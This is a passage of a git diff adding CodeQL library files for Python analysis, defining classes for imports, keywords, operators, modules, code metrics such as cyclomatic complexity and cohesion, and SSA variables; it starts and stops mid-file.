and result = "." + this.getName() + } + + /** Whether this import is relative, that is not absolute. + * See https://www.python.org/dev/peps/pep-0328/ */ + predicate isRelative() { + /* Implicit */ + exists(this.relativeTopName()) + or + /* Explicit */ + this.getLevel() > 0 + } + +} + +/** A `from ... import ...` expression */ +class ImportMember extends ImportMember_ { + + override Expr getASubExpression() { + result = this.getModule() + } + + override predicate hasSideEffects() { + /* Strictly this only has side-effects if the module is a package */ + any() + } + + /** Gets the full name of the module resulting from evaluating this import. + * NOTE: This is the name that used to import the module, + * which may not be the name of the module. */ + string getImportedModuleName() { + result = this.getModule().(ImportExpr).getImportedModuleName() + "." + this.getName() + } + + override ImportMemberNode getAFlowNode() { result = super.getAFlowNode() } +} + +/** An import statement */ +class Import extends Import_ { + + private ImportExpr getAModuleExpr() { + result = this.getAName().getValue() + or + result = ((ImportMember)this.getAName().getValue()).getModule() + } + + /** Use getAnImportedModuleName(), + * possibly combined with ModuleObject.importedAs() + * Gets a module imported by this import statement */ + deprecated Module getAModule() { + result.getName() = this.getAnImportedModuleName() + } + + /** Whether this a `from ... import ...` statement */ + predicate isFromImport() { + this.getAName().getValue() instanceof ImportMember + } + + override Expr getASubExpression() { + result = this.getAModuleExpr() or + result = this.getAName().getAsname() or + result = this.getAName().getValue() + } + + override Stmt getASubStatement() { + none() + } + + /** Gets the name of an imported module. + * For example, for the import statement `import bar` which + * is a relative import in package "foo", this would return + * "foo.bar". + * The import statment `from foo import bar` would return + * `foo` and `foo.bar` + * */ + string getAnImportedModuleName() { + result = this.getAModuleExpr().getAnImportedModuleName() + or + exists(ImportMember m, string modname | + m = this.getAName().getValue() and + modname = m.getModule().(ImportExpr).getImportedModuleName() | + result = modname + or + result = modname + "." + m.getName() + ) + } + +} + +/** An import * statement */ +class ImportStar extends ImportStar_ { + + ImportExpr getModuleExpr() { + result = this.getModule() + or + result = ((ImportMember)this.getModule()).getModule() + } + + override string toString() { + result = "from " + this.getModuleExpr().getName() + " import *" + } + + /** Use getAnImportedModuleName(), + * possibly combined with ModuleObject.importedAs() + * Gets the module imported by this import * statement + */ + deprecated Module getTheModule() { + result.getName() = this.getImportedModuleName() + } + + override Expr getASubExpression() { + result = this.getModule() + } + + override Stmt getASubStatement() { + none() + } + + /** Gets the name of the imported module. */ + string getImportedModuleName() { + result = this.getModuleExpr().getImportedModuleName() + } + +} + +/** A statement that imports a module. This can be any statement that includes the `import` keyword, + * such as `import sys`, `from sys import version` or `from sys import *`. */ +class ImportingStmt extends Stmt { + + ImportingStmt() { + this instanceof Import + or + this instanceof ImportStar + } + + /** Gets the name of an imported module. */ + string getAnImportedModuleName() { + result = this.(Import).getAnImportedModuleName() + or + result = this.(ImportStar).getImportedModuleName() + } + +} diff --git a/python/ql/src/semmle/python/Keywords.qll b/python/ql/src/semmle/python/Keywords.qll new file mode 100644 index 00000000000..3be9311d081 --- /dev/null +++ b/python/ql/src/semmle/python/Keywords.qll @@ -0,0 +1,101 @@ +import python + +class KeyValuePair extends KeyValuePair_, DictDisplayItem { + + override Location getLocation() { + result = KeyValuePair_.super.getLocation() + } + + override string toString() { + result = KeyValuePair_.super.toString() + } + + /** Gets the value of this dictionary unpacking. */ + override Expr getValue() { + result = KeyValuePair_.super.getValue() + } + + override Scope getScope() { + result = this.getValue().getScope() + } + + override AstNode getAChildNode() { + result = this.getKey() + or + result = this.getValue() + } + +} + +/** A double-starred expression in a call or dict literal. */ +class DictUnpacking extends DictUnpacking_, DictUnpackingOrKeyword, DictDisplayItem { + + override Location getLocation() { + result = DictUnpacking_.super.getLocation() + } + + override string toString() { + result = DictUnpacking_.super.toString() + } + + /** Gets the value of this dictionary unpacking. */ + override Expr getValue() { + result = DictUnpacking_.super.getValue() + } + + override Scope getScope() { + result = this.getValue().getScope() + } + + override AstNode getAChildNode() { + result = this.getValue() + } + +} + +abstract class DictUnpackingOrKeyword extends DictItem { + + abstract Expr getValue(); + + override string toString() { + none() + } + +} + +abstract class DictDisplayItem extends DictItem { + + abstract Expr getValue(); + + override string toString() { + none() + } + +} + +/** A keyword argument in a call. For example `arg=expr` in `foo(0, arg=expr)` */ +class Keyword extends Keyword_, DictUnpackingOrKeyword { + + override Location getLocation() { + result = Keyword_.super.getLocation() + } + + override string toString() { + result = Keyword_.super.toString() + } + + /** Gets the value of this keyword argument. */ + override Expr getValue() { + result = Keyword_.super.getValue() + } + + override Scope getScope() { + result = this.getValue().getScope() + } + + override AstNode getAChildNode() { + result = this.getValue() + } + +} + diff --git a/python/ql/src/semmle/python/Lists.qll b/python/ql/src/semmle/python/Lists.qll new file mode 100644 index 00000000000..cb6bbb1e3f5 --- /dev/null +++ b/python/ql/src/semmle/python/Lists.qll @@ -0,0 +1,55 @@ +import python + +/** A parameter list */ +class ParameterList extends @py_parameter_list { + + Function getParent() { + py_parameter_lists(this, result) + } + + /** Gets a parameter */ + Parameter getAnItem() { + /* Item can be a Name or a Tuple, both of which are expressions */ + py_exprs(result, _, this, _) + } + + /** Gets the nth parameter */ + Parameter getItem(int index) { + /* Item can be a Name or a Tuple, both of which are expressions */ + py_exprs(result, _, this, index) + } + + string toString() { + result = "ParameterList" + } +} + +/** A list of Comprehensions (for generating parts of a set, list or dictionary comprehension) */ +class ComprehensionList extends ComprehensionList_ { + +} + +/** A list of expressions */ +class ExprList extends ExprList_ { + +} + + +library class DictItemList extends DictItemList_ { + +} + +library class DictItemListParent extends DictItemListParent_ { + +} + +/** A list of strings (the primitive type string not Bytes or Unicode) */ +class StringList extends StringList_ { + +} + +/** A list of aliases in an import statement */ +class AliasList extends AliasList_ { + +} + diff --git a/python/ql/src/semmle/python/Metrics.qll b/python/ql/src/semmle/python/Metrics.qll new file mode 100644 index 00000000000..dde48db0fc8 --- /dev/null +++ b/python/ql/src/semmle/python/Metrics.qll @@ -0,0 +1,388 @@ +import python + +/** The metrics for a function */ +class FunctionMetrics extends Function { + + /** Gets the total number of lines (including blank lines) + from the definition to the end of the function */ + int getNumberOfLines() { + py_alllines(this, result) + } + + /** Gets the number of lines of code in the function */ + int getNumberOfLinesOfCode() { + py_codelines(this, result) + } + + /** Gets the number of lines of comments in the function */ + int getNumberOfLinesOfComments() { + py_commentlines(this, result) + } + + /** Gets the number of lines of docstring in the function */ + int getNumberOfLinesOfDocStrings() { + py_docstringlines(this, result) + } + + /** Cyclomatic complexity: + * The number of linearly independent paths through the source code. + * Computed as E - N + 2P, + * where + * E = the number of edges of the graph. + * N = the number of nodes of the graph. + * P = the number of connected components, which for a single function is 1. + */ + int getCyclomaticComplexity() { + exists(int E, int N | + N = count(BasicBlock b | b = this.getABasicBlock() and b.likelyReachable()) + and + E = count(BasicBlock b1, BasicBlock b2 | + b1 = this.getABasicBlock() and b1.likelyReachable() and + b2 = this.getABasicBlock() and b2.likelyReachable() and + b2 = b1.getASuccessor() and not b1.unlikelySuccessor(b2) + ) + | + result = E - N + 2 + ) + } + + private BasicBlock getABasicBlock() { + result = this.getEntryNode().getBasicBlock() + or + exists(BasicBlock mid | mid = this.getABasicBlock() and result = mid.getASuccessor()) + } + + /** Dependency of Callables + One callable "this" depends on another callable "result" + if "this" makes some call to a method that may end up being "result". + */ + FunctionMetrics getADependency() { + result != this and + not non_coupling_method(result) and + exists(Call call | + call.getScope() = this | + exists(FunctionObject callee | + callee.getFunction() = result | + call.getAFlowNode().getFunction().refersTo(callee) + ) + or + exists(Attribute a | + call.getFunc() = a | + unique_root_method(result, a.getName()) or + exists(Name n | a.getObject() = n and n.getId() = "self" | + result.getScope() = this.getScope() and + result.getName() = a.getName() + ) + ) + ) + } + + /** Afferent Coupling + the number of callables that depend on this method. + This is sometimes called the "fan-in" of a method. + */ + int getAfferentCoupling() { + result = count(FunctionMetrics m | m.getADependency() = this ) + } + + /** Efferent Coupling + the number of methods that this method depends on + This is sometimes called the "fan-out" of a method. + */ + int getEfferentCoupling() { + result = count(FunctionMetrics m | this.getADependency() = m) + } + + int getNumberOfParametersWithoutDefault() { + result = this.getPositionalParameterCount() - + count(((FunctionExpr)this.getDefinition()).getArgs().getADefault()) + } + + int getStatementNestingDepth() { + result = max(Stmt s | s.getScope() = this | getNestingDepth(s)) + } + + int getNumberOfCalls() { + result = count(Call c | c.getScope() = this) + } + +} + +/** The metrics for a class */ +class ClassMetrics extends Class { + + /** Gets the total number of lines (including blank lines) + from the definition to the end of the class */ + int getNumberOfLines() { + py_alllines(this, result) + } + + /** Gets the number of lines of code in the class */ + int getNumberOfLinesOfCode() { + py_codelines(this, result) + } + + /** Gets the number of lines of comments in the class */ + int getNumberOfLinesOfComments() { + py_commentlines(this, result) + } + + /** Gets the number of lines of docstrings in the class */ + int getNumberOfLinesOfDocStrings() { + py_docstringlines(this, result) + } + + private predicate dependsOn(Class other) { + other != this and + ( + exists(FunctionMetrics f1, FunctionMetrics f2 | + f1.getADependency() = f2 | + f1.getScope() = this and f2.getScope() = other + ) + or + exists(Function f, Call c, ClassObject cls | + c.getScope() = f and f.getScope() = this | + c.getFunc().refersTo(cls) and + cls.getPyClass() = other + ) + ) + } + + /** The afferent coupling of a class is the number of classes that + * directly depend on it. + */ + int getAfferentCoupling() { + result = count(ClassMetrics t | t.dependsOn(this)) + } + + /** The efferent coupling of a class is the number of classes that + * it directly depends on. + */ + int getEfferentCoupling() { + result = count(ClassMetrics t | this.dependsOn(t)) + } + + int getInheritanceDepth() { + exists(ClassObject cls | + cls.getPyClass() = this | + result = max(classInheritanceDepth(cls)) + ) + } + + /* -------- CHIDAMBER AND KEMERER LACK OF COHESION IN METHODS ------------ */ + + /* The aim of this metric is to try and determine whether a class + represents one abstraction (good) or multiple abstractions (bad). + If a class represents multiple abstractions, it should be split + up into multiple classes. + + In the Chidamber and Kemerer method, this is measured as follows: + n1 = number of pairs of distinct methods in a class that do *not* + have at least one commonly accessed field + n2 = number of pairs of distinct methods in a class that do + have at least one commonly accessed field + lcom = ((n1 - n2)/2 max 0) + + We divide by 2 because each pair (m1,m2) is counted twice in n1 and n2. + + */ + + /** should function f be excluded from the cohesion computation? */ + predicate ignoreLackOfCohesion(Function f) { + f.isInitMethod() or f.isSpecialMethod() + } + + private predicate methodPair(Function m1, Function m2) { + m1.getScope() = this and + m2.getScope() = this and + not this.ignoreLackOfCohesion(m1) and + not this.ignoreLackOfCohesion(m2) and + m1 != m2 + } + + private predicate one_accesses_other(Function m1, Function m2) { + this.methodPair(m1, m2) and + ( + exists(SelfAttributeRead sa | + sa.getName() = m1.getName() and + sa.getScope() = m2 + ) + or + exists(SelfAttributeRead sa | + sa.getName() = m2.getName() and + sa.getScope() = m1 + ) + ) + } + + + /** do m1 and m2 access a common field or one calls the other? */ + private predicate shareField(Function m1, Function m2) { + this.methodPair(m1, m2) and + exists(string name | + exists(SelfAttributeRead sa | + sa.getName() = name and + sa.getScope() = m1 + ) + and + exists(SelfAttributeRead sa | + sa.getName() = name and + sa.getScope() = m2 + ) + ) + } + + private int similarMethodPairs() { + result = count(Function m1, Function m2 | + this.methodPair(m1, m2) and + (this.shareField(m1, m2) or this.one_accesses_other(m1, m2)) + ) / 2 + } + + private int methodPairs() { + result = count(Function m1, Function m2 | this.methodPair(m1, m2)) / 2 + } + + /** return Chidamber and Kemerer Lack of Cohesion */ + int getLackOfCohesionCK() { + exists(int n | + n = this.methodPairs() - 2 * this.similarMethodPairs() + and + result = n.maximum(0) + ) + } + + private predicate similarMethodPairDag(Function m1, Function m2, int line) { + (this.shareField(m1, m2) or this.one_accesses_other(m1, m2)) and + line = m1.getLocation().getStartLine() and + line < m2.getLocation().getStartLine() + } + + private predicate subgraph(Function m, int line) { + this.similarMethodPairDag(m, _, line) and not this.similarMethodPairDag(_, m, _) + or + exists(Function other | this.subgraph(other, line) | + this.similarMethodPairDag(other, m, _) or + this.similarMethodPairDag(m, other, _) + ) + } + + predicate unionSubgraph(Function m, int line) { + line = min(int l | this.subgraph(m, l)) + } + + /** return Hitz and Montazeri Lack of Cohesion */ + int getLackOfCohesionHM() { + result = count(int line | + this.unionSubgraph(_, line) + ) + } + +} + +private int classInheritanceDepth(ClassObject cls) { + /* Prevent run-away recursion in case of circular inheritance */ + not cls.getASuperType() = cls + and + ( + exists(ClassObject sup | + cls.getABaseType() = sup | + result = classInheritanceDepth(sup) + 1 + ) + or + not exists(cls.getABaseType()) and ( + major_version() = 2 and result = 0 + or + major_version() > 2 and result = 1 + ) + ) +} + +class ModuleMetrics extends Module { + + /** Gets the total number of lines (including blank lines) in the module */ + int getNumberOfLines() { + py_alllines(this, result) + } + + /** Gets the number of lines of code in the module */ + int getNumberOfLinesOfCode() { + py_codelines(this, result) + } + + /** Gets the number of lines of comments in the module */ + int getNumberOfLinesOfComments() { + py_commentlines(this, result) + } + + /** Gets the number of lines of docstrings in the module */ + int getNumberOfLinesOfDocStrings() { + py_docstringlines(this, result) + } + + /** The afferent coupling of a class is the number of classes that + * directly depend on it. + */ + int getAfferentCoupling() { + result = count(ModuleMetrics t | t.dependsOn(this)) + } + + /** The efferent coupling of a class is the number of classes that + * it directly depends on. + */ + int getEfferentCoupling() { + result = count(ModuleMetrics t | this.dependsOn(t)) + } + + private predicate dependsOn(Module other) { + other != this and + ( + exists(FunctionMetrics f1, FunctionMetrics f2 | + f1.getADependency() = f2 | + f1.getEnclosingModule() = this and f2.getEnclosingModule() = other + ) + or + exists(Function f, Call c, ClassObject cls | + c.getScope() = f and f.getScope() = this | + c.getFunc().refersTo(cls) and + cls.getPyClass().getEnclosingModule() = other + ) + ) + } + +} + +/** Helpers for coupling */ + +predicate unique_root_method(Function func, string name) { + name = func.getName() and + not exists(FunctionObject f, FunctionObject other | + f.getFunction() = func and + other.getName() = name | + not other.overrides(f) + ) +} + +predicate non_coupling_method(Function f) { + f.isSpecialMethod() or + f.isInitMethod() or + f.getName() = "close" or + f.getName() = "write" or + f.getName() = "read" or + f.getName() = "get" or + f.getName() = "set" +} + +private int getNestingDepth(Stmt s) { + not exists(Stmt outer | outer.getASubStatement() = s) and result = 1 + or + exists(Stmt outer | + outer.getASubStatement() = s | + if s.(If).isElif() or s instanceof ExceptStmt then + /* If statement is an `elif` or `except` then it is not indented relative to its parent */ + result = getNestingDepth(outer) + else + result = getNestingDepth(outer) + 1 + ) +} + diff --git a/python/ql/src/semmle/python/Module.qll b/python/ql/src/semmle/python/Module.qll new file mode 100644 index 00000000000..c4cf9303e03 --- /dev/null +++ b/python/ql/src/semmle/python/Module.qll @@ -0,0 +1,231 @@ +import python +private import semmle.python.pointsto.PointsTo + +/** A module. This is the top level element in an AST, corresponding to a source file. + * It is also a Scope; the scope of global variables. */ +class Module extends Module_, Scope, AstNode { + + override string toString() { + result = this.getKind() + " " + this.getName() + or + /* No name is defined, which means that this is not on an import path. So it must be a script */ + not exists(this.getName()) and not this.isPackage() and + result = "Script " + this.getFile().getShortName() + } + + /** This method will be deprecated in the next release. Please use `getEnclosingScope()` instead. + * The enclosing scope of this module (always none) */ + override Scope getScope() { + none() + } + + /** The enclosing scope of this module (always none) */ + override Scope getEnclosingScope() { + none() + } + + /** Gets the statements forming the body of this module */ + override StmtList getBody() { + result = Module_.super.getBody() + } + + /** Gets the nth statement of this module */ + override Stmt getStmt(int n) { + result = Module_.super.getStmt(n) + } + + /** Gets a top-level statement in this module */ + override Stmt getAStmt() { + result = Module_.super.getAStmt() + } + + /** Gets the name of this module */ + override string getName() { + result = Module_.super.getName() and legalDottedName(result) + or + not exists(Module_.super.getName()) and + result = moduleNameFromFile(this.getPath()) + } + + /** Gets this module */ + override Module getEnclosingModule() { + result = this + } + + /** Gets the __init__ module of this module if the module is a package and it has an __init__ module */ + Module getInitModule() { + /* this.isPackage() and */ result.getName() = this.getName() + ".__init__" + } + + /** Whether this module is a package initializer */ + predicate isPackageInit() { + this.getName().matches("%\\_\\_init\\_\\_") and not this.isPackage() + } + + /** Gets a name exported by this module, that is the names that will be added to a namespace by 'from this-module import *' */ + string getAnExport() { + py_exports(this, result) + or + not PointsTo::module_defines_name(this, "__all__") and PointsTo::module_defines_name(this, result) + } + + /** Gets the source file for this module */ + File getFile() { + py_module_path(this, result) + } + + /** Gets the source file or folder for this module or package */ + Container getPath() { + py_module_path(this, result) + } + + /** Whether this is a package */ + predicate isPackage() { + this.getPath() instanceof Folder + } + + /** Gets the package containing this module (or parent package if this is a package) */ + Module getPackage() { + this.getName().matches("%.%") and + result.getName() = getName().regexpReplaceAll("\\.[^.]*$", "") + } + + /** Gets the name of the package containing this module */ + string getPackageName() { + this.getName().matches("%.%") and + result = getName().regexpReplaceAll("\\.[^.]*$", "") + } + + /** Gets the metrics for this module */ + ModuleMetrics getMetrics() { + result = this + } + + /** Use ModuleObject.getAnImportedModule() instead. + * Gets a module imported by this module */ + deprecated Module getAnImportedModule() { + result.getName() = this.getAnImportedModuleName() + } + + string getAnImportedModuleName() { + exists(Import i | i.getEnclosingModule() = this | result = i.getAnImportedModuleName()) + or + exists(ImportStar i | i.getEnclosingModule() = this | result = i.getImportedModuleName()) + } + + override Location getLocation() { + py_scope_location(result, this) + } + + /** Gets a child module or package of this package */ + Module getSubModule(string name) { + result.getPackage() = this and + name = result.getName().regexpReplaceAll(".*\\.", "") + } + + /** Whether name is declared in the __all__ list of this module */ + predicate declaredInAll(string name) + { + exists(AssignStmt a, GlobalVariable all | + a.defines(all) and a.getScope() = this and + all.getId() = "__all__" and ((List)a.getValue()).getAnElt().(StrConst).getText() = name + ) + } + + override AstNode getAChildNode() { + result = this.getAStmt() + } + + predicate hasFromFuture(string attr) { + exists(Import i, ImportMember im, ImportExpr ie, Alias a, Name name | + im.getModule() = ie and ie.getName() = "__future__" and + a.getAsname() = name and name.getId() = attr and + i.getASubExpression() = im and + i.getAName() = a and + i.getEnclosingModule() = this + ) + } + + /** Gets the path element from which this module was loaded. */ + Container getLoadPath() { + result = this.getPath().getImportRoot() + } + + /** Holds if this module is in the standard library for version `major.minor` */ + predicate inStdLib(int major, int minor) { + this.getLoadPath().isStdLibRoot(major, minor) + } + + /** Holds if this module is in the standard library */ + predicate inStdLib() { + this.getLoadPath().isStdLibRoot() + } + + override + predicate containsInScope(AstNode inner) { + Scope.super.containsInScope(inner) + } + + override + predicate contains(AstNode inner) { + Scope.super.contains(inner) + } + + /** Gets the kind of this module. */ + override string getKind() { + if this.isPackage() then + result = "Package" + else ( + not exists(Module_.super.getKind()) and result = "Module" + or + result = Module_.super.getKind() + ) + } + +} + +bindingset[name] +private predicate legalDottedName(string name) { + name.regexpMatch("(\\p{L}|_)(\\p{L}|\\d|_)*(\\.(\\p{L}|_)(\\p{L}|\\d|_)*)*") +} + +bindingset[name] +private predicate legalShortName(string name) { + name.regexpMatch("(\\p{L}|_)(\\p{L}|\\d|_)*") +} + +/** Holds if `f` is potentially a source package. + * Does it have an __init__.py file and is it within the source archive? + */ +private predicate isPotentialSourcePackage(Folder f) { + f.getRelativePath() != "" and + exists(f.getFile("__init__.py")) +} + +private string moduleNameFromBase(Container file) { + file instanceof Folder and result = file.getBaseName() + or + file instanceof File and result = file.getStem() +} + +private string moduleNameFromFile(Container file) { + exists(string basename | + basename = moduleNameFromBase(file) and + legalShortName(basename) + | + result = moduleNameFromFile(file.getParent()) + "." + basename + or + isPotentialSourcePackage(file) and result = file.getStem() and + (not isPotentialSourcePackage(file.getParent()) or not legalShortName(file.getParent().getBaseName())) + or + result = file.getStem() and file.getParent() = file.getImportRoot() + or + result = file.getStem() and isStubRoot(file.getParent()) + ) +} + +private predicate isStubRoot(Folder f) { + not f.getParent*().isImportRoot() and + f.getAbsolutePath().matches("%/data/python/stubs") +} + diff --git a/python/ql/src/semmle/python/Operations.qll b/python/ql/src/semmle/python/Operations.qll new file mode 100644 index 00000000000..3ea0287dac7 --- /dev/null +++ b/python/ql/src/semmle/python/Operations.qll @@ -0,0 +1,344 @@ +import python + +/** Base class for operators */ +class Operator extends Operator_ { + + /** Gets the name of the special method used to implement this operator */ + string getSpecialMethodName() { none() } + +} + +/* Unary Expression and its operators */ + +/** A unary expression: (`+x`), (`-x`) or (`~x`) */ +class UnaryExpr extends UnaryExpr_ { + + override Expr getASubExpression() { + result = this.getOperand() + } + +} + +/** A unary operator: `+`, `-`, `~` or `not` */ +class Unaryop extends Unaryop_ { + + /** Gets the name of the special method used to implement this operator */ + string getSpecialMethodName() { none() } + +} + +/** An invert (`~`) unary operator */ +class Invert extends Invert_ { + + override string getSpecialMethodName() { result = "__invert__" } + +} + +/** A positive (`+`) unary operator */ +class UAdd extends UAdd_ { + + override string getSpecialMethodName() { result = "__pos__" } + +} + +/** A negation (`-`) unary operator */ +class USub extends USub_ { + + override string getSpecialMethodName() { result = "__neg__" } + +} + +/** A `not` unary operator */ +class Not extends Not_ { + + override string getSpecialMethodName() { none() } + +} + + +/* Binary Operation and its operators */ + +/** A binary expression, such as `x + y` */ +class BinaryExpr extends BinaryExpr_ { + + override Expr getASubExpression() { + result = this.getLeft() or result = this.getRight() + } + +} + +/** A power (`**`) binary operator */ +class Pow extends Pow_ { + + override string getSpecialMethodName() { result = "__pow__" } + +} + +/** A right shift (`>>`) binary operator */ +class RShift extends RShift_ { + + override string getSpecialMethodName() { result = "__rshift__" } + +} + +/** A subtract (`-`) binary operator */ +class Sub extends Sub_ { + + override string getSpecialMethodName() { result = "__sub__" } + +} + +/** A bitwise and (`&`) binary operator */ +class BitAnd extends BitAnd_ { + + override string getSpecialMethodName() { result = "__and__" } + +} + +/** A bitwise or (`|`) binary operator */ +class BitOr extends BitOr_ { + + override string getSpecialMethodName() { result = "__or__" } + +} + +/** A bitwise exclusive-or (`^`) binary operator */ +class BitXor extends BitXor_ { + + override string getSpecialMethodName() { result = "__xor__" } + +} + +/** An add (`+`) binary operator */ +class Add extends Add_ { + + override string getSpecialMethodName() { result = "__add__" } +} + +/** An (true) divide (`/`) binary operator */ +class Div extends Div_ { + + override string getSpecialMethodName() { + result = "__truediv__" + or + major_version() = 2 and result = "__div__" + } +} + +/** An floor divide (`//`) binary operator */ +class FloorDiv extends FloorDiv_ { + + override string getSpecialMethodName() { result = "__floordiv__" } + +} + +/** A left shift (`<<`) binary operator */ +class LShift extends LShift_ { + + override string getSpecialMethodName() { result = "__lshift__" } + +} + +/** A modulo (`%`) binary operator, which includes string formatting */ +class Mod extends Mod_ { + + override string getSpecialMethodName() { result = "__mod__" } + +} + +/** A multiplication (`*`) binary operator */ +class Mult extends Mult_ { + + override string getSpecialMethodName() { result = "__mul__" } + +} + +/** A matrix multiplication (`@`) binary operator */ +class MatMult extends MatMult_ { + + override string getSpecialMethodName() { result = "__matmul__" } + +} + +/* Comparison Operation and its operators */ + +/** A comparison operation, such as `x`) comparison operator */ +class Gt extends Gt_ { + + override string getSymbol() { + result = ">" + } + + override string getSpecialMethodName() { result = "__gt__" } + +} + +/** A greater than or equals (`>=`) comparison operator */ +class GtE extends GtE_ { + + override string getSymbol() { + result = ">=" + } + + override string getSpecialMethodName() { result = "__ge__" } + +} + +/** An `in` comparison operator */ +class In extends In_ { + + override string getSymbol() { + result = "in" + } + +} + +/** An `is` comparison operator */ +class Is extends Is_ { + + override string getSymbol() { + result = "is" + } + +} + +/** An `is not` comparison operator */ +class IsNot extends IsNot_ { + + override string getSymbol() { + result = "is not" + } + +} + +/** An equals (`==`) comparison operator */ +class Eq extends Eq_ { + + override string getSymbol() { + result = "==" + } + + override string getSpecialMethodName() { result = "__eq__" } + +} + +/** A less than (`<`) comparison operator */ +class Lt extends Lt_ { + + override string getSymbol() { + result = "<" + } + + override string getSpecialMethodName() { result = "__lt__" } + +} + +/** A less than or equals (`<=`) comparison operator */ +class LtE extends LtE_ { + + override string getSymbol() { + result = "<=" + } + + override string getSpecialMethodName() { result = "__le__" } + +} + +/** A not equals (`!=`) comparison operator */ +class NotEq extends NotEq_ { + + override string getSymbol() { + result = "!=" + } + + override string getSpecialMethodName() { result = "__ne__" } + +} + +/** An `not in` comparison operator */ +class NotIn extends NotIn_ { + + override string getSymbol() { + result = "not in" + } + +} + +/* Boolean Operation (and/or) and its operators */ + +/** A boolean shortcut (and/or) operation */ +class BoolExpr extends BoolExpr_ { + + override Expr getASubExpression() { + result = this.getAValue() + } + + string getOperator() { + this.getOp() instanceof And and result = "and" + or + this.getOp() instanceof Or and result = "or" + } + + /** Whether part evaluates to partIsTrue if this evaluates to wholeIsTrue */ + predicate impliesValue(Expr part, boolean partIsTrue, boolean wholeIsTrue) { + if this.getOp() instanceof And then ( + wholeIsTrue = true and partIsTrue = true and part = this.getAValue() + or + wholeIsTrue = true and ((BoolExpr)this.getAValue()).impliesValue(part, partIsTrue, true) + ) else ( + wholeIsTrue = false and partIsTrue = false and part = this.getAValue() + or + wholeIsTrue = false and ((BoolExpr)this.getAValue()).impliesValue(part, partIsTrue, false) + ) + } + +} + +/** A short circuit boolean operator, and/or */ +class Boolop extends Boolop_ { + +} + +/** An `and` boolean operator */ +class And extends And_ { + +} + +/** An `or` boolean operator */ +class Or extends Or_ { + +} diff --git a/python/ql/src/semmle/python/SSA.qll b/python/ql/src/semmle/python/SSA.qll new file mode 100644 index 00000000000..0471a673bf4 --- /dev/null +++ b/python/ql/src/semmle/python/SSA.qll @@ -0,0 +1,240 @@ +/** SSA library */ + +import python + +/** A single static assignment variable. + * An SSA variable is a variable which is only assigned once (statically). + * SSA variables can be defined as normal variables or by a phi node which can occur at joins in the flow graph. + * Definitions without uses do not have a SSA variable. + */ +class SsaVariable extends @py_ssa_var{ + + SsaVariable() { + py_ssa_var(this, _) + } + + /** Gets the source variable */ + Variable getVariable() { + py_ssa_var(this, result) + } + + /** Gets a use of this variable */ + ControlFlowNode getAUse() { + py_ssa_use(result, this) + } + + /** Gets the definition (which may be a deletion) of this SSA variable */ + ControlFlowNode getDefinition() { + py_ssa_defn(this, result) + } + + /** Gets an argument of the phi function defining this variable. + * This predicate uses the raw SSA form produced by the extractor. + * In general, you should use `getAPrunedPhiInput()` instead. */ + SsaVariable getAPhiInput() { + py_ssa_phi(this, result) + } + + /** Gets the edge(s) (result->this.getDefinition()) on which the SSA variable 'input' defines this SSA variable. + * For each incoming edge `X->B`, where `B` is the basic block containing this phi-node, only one of the input SSA variables + * for this phi-node is live. This predicate returns the predecessor block such that the variable 'input' + * is the live variable on the edge result->B. + */ + BasicBlock getPredecessorBlockForPhiArgument(SsaVariable input) { + input = this.getAPhiInput() and + result = this.getAPredecessorBlockForPhi() and + input.getDefinition().getBasicBlock().dominates(result) and + /* Beware the case where an SSA variable that is an input on one edge dominates another edge. + * Consider (in SSA form): + * x0 = 0 + * if cond: + * x1 = 1 + * x2 = phi(x0, x1) + * use(x2) + * + * The definition of x0 dominates the exit from the block x1=1, even though it does not reach it. + * Hence we need to check that no other definition dominates the edge and actually reaches it. + * Note that if a dominates c and b dominates c, then either a dominates b or vice-versa. + */ + not exists(SsaVariable other, BasicBlock other_def | + not other = input and + other = this.getAPhiInput() and + other_def = other.getDefinition().getBasicBlock() + | + other_def.dominates(result) and + input.getDefinition().getBasicBlock().strictlyDominates(other_def) + ) + } + + /** Gets an argument of the phi function defining this variable, pruned of unlikely edges. */ + SsaVariable getAPrunedPhiInput() { + result = this.getAPhiInput() and + exists(BasicBlock incoming | incoming = this.getPredecessorBlockForPhiArgument(result) | + not incoming.getLastNode().(RaisingNode).unlikelySuccessor(this.getDefinition()) + ) + } + + /** Gets a variable that ultimately defines this variable and is not itself defined by another variable */ + SsaVariable getAnUltimateDefinition() { + result = this and not exists(this.getAPhiInput()) + or + result = this.getAPhiInput().getAnUltimateDefinition() + } + + string toString() { + result = "SSA Variable " + this.getId() + } + + Location getLocation() { + result = this.getDefinition().getLocation() + } + + /** Gets the id (name) of this variable */ + string getId() { + result = this.getVariable().getId() + } + + /** Gets the incoming edges for a Phi node. */ + private BasicBlock getAPredecessorBlockForPhi() { + exists(getAPhiInput()) and + result.getASuccessor() = this.getDefinition().getBasicBlock() + } + + /** Gets the incoming edges for a Phi node, pruned of unlikely edges. */ + private BasicBlock getAPrunedPredecessorBlockForPhi() { + result = this.getAPredecessorBlockForPhi() and + not result.unlikelySuccessor(this.getDefinition().getBasicBlock()) + } + + /** Whether it is possible to reach a use of this variable without passing a definition */ + predicate reachableWithoutDefinition() { + not exists(this.getDefinition()) and not py_ssa_phi(this, _) + or + exists(SsaVariable var | var = this.getAPhiInput() | var.reachableWithoutDefinition()) + or + /* For phi-nodes, there must be a corresponding phi-input for each control-flow + * predecessor. Otherwise, the variable will be undefined on that incoming edge. + * WARNING: the same phi-input may cover multiple predecessors, so this check + * cannot be done by counting. + */ + exists(BasicBlock incoming | + incoming = this.getAPredecessorBlockForPhi() and + not this.getAPhiInput().getDefinition().getBasicBlock().dominates(incoming) + ) + } + + /** Whether this variable may be undefined */ + predicate maybeUndefined() { + not exists(this.getDefinition()) and not py_ssa_phi(this, _) and not this.implicitlyDefined() + or + this.getDefinition().isDelete() + or + exists(SsaVariable var | var = this.getAPrunedPhiInput() | var.maybeUndefined()) + or + /* For phi-nodes, there must be a corresponding phi-input for each control-flow + * predecessor. Otherwise, the variable will be undefined on that incoming edge. + * WARNING: the same phi-input may cover multiple predecessors, so this check + * cannot be done by counting. + */ + exists(BasicBlock incoming | + reaches_end(incoming) and + incoming = this.getAPrunedPredecessorBlockForPhi() and + not this.getAPhiInput().getDefinition().getBasicBlock().dominates(incoming) + ) + } + + private predicate implicitlyDefined() { + not exists(this.getDefinition()) and not py_ssa_phi(this, _) and + exists(GlobalVariable var | this.getVariable() = var | + globallyDefinedName(var.getId()) or + var.getId() = "__path__" and ((Module)var.getScope()).isPackageInit() + ) + } + + /** Gets the global variable that is accessed if this local is undefined. + * Only applies to local variables in class scopes. + */ + GlobalVariable getFallbackGlobal() { + exists(LocalVariable local, Class cls | this.getVariable() = local | + local.getScope() = 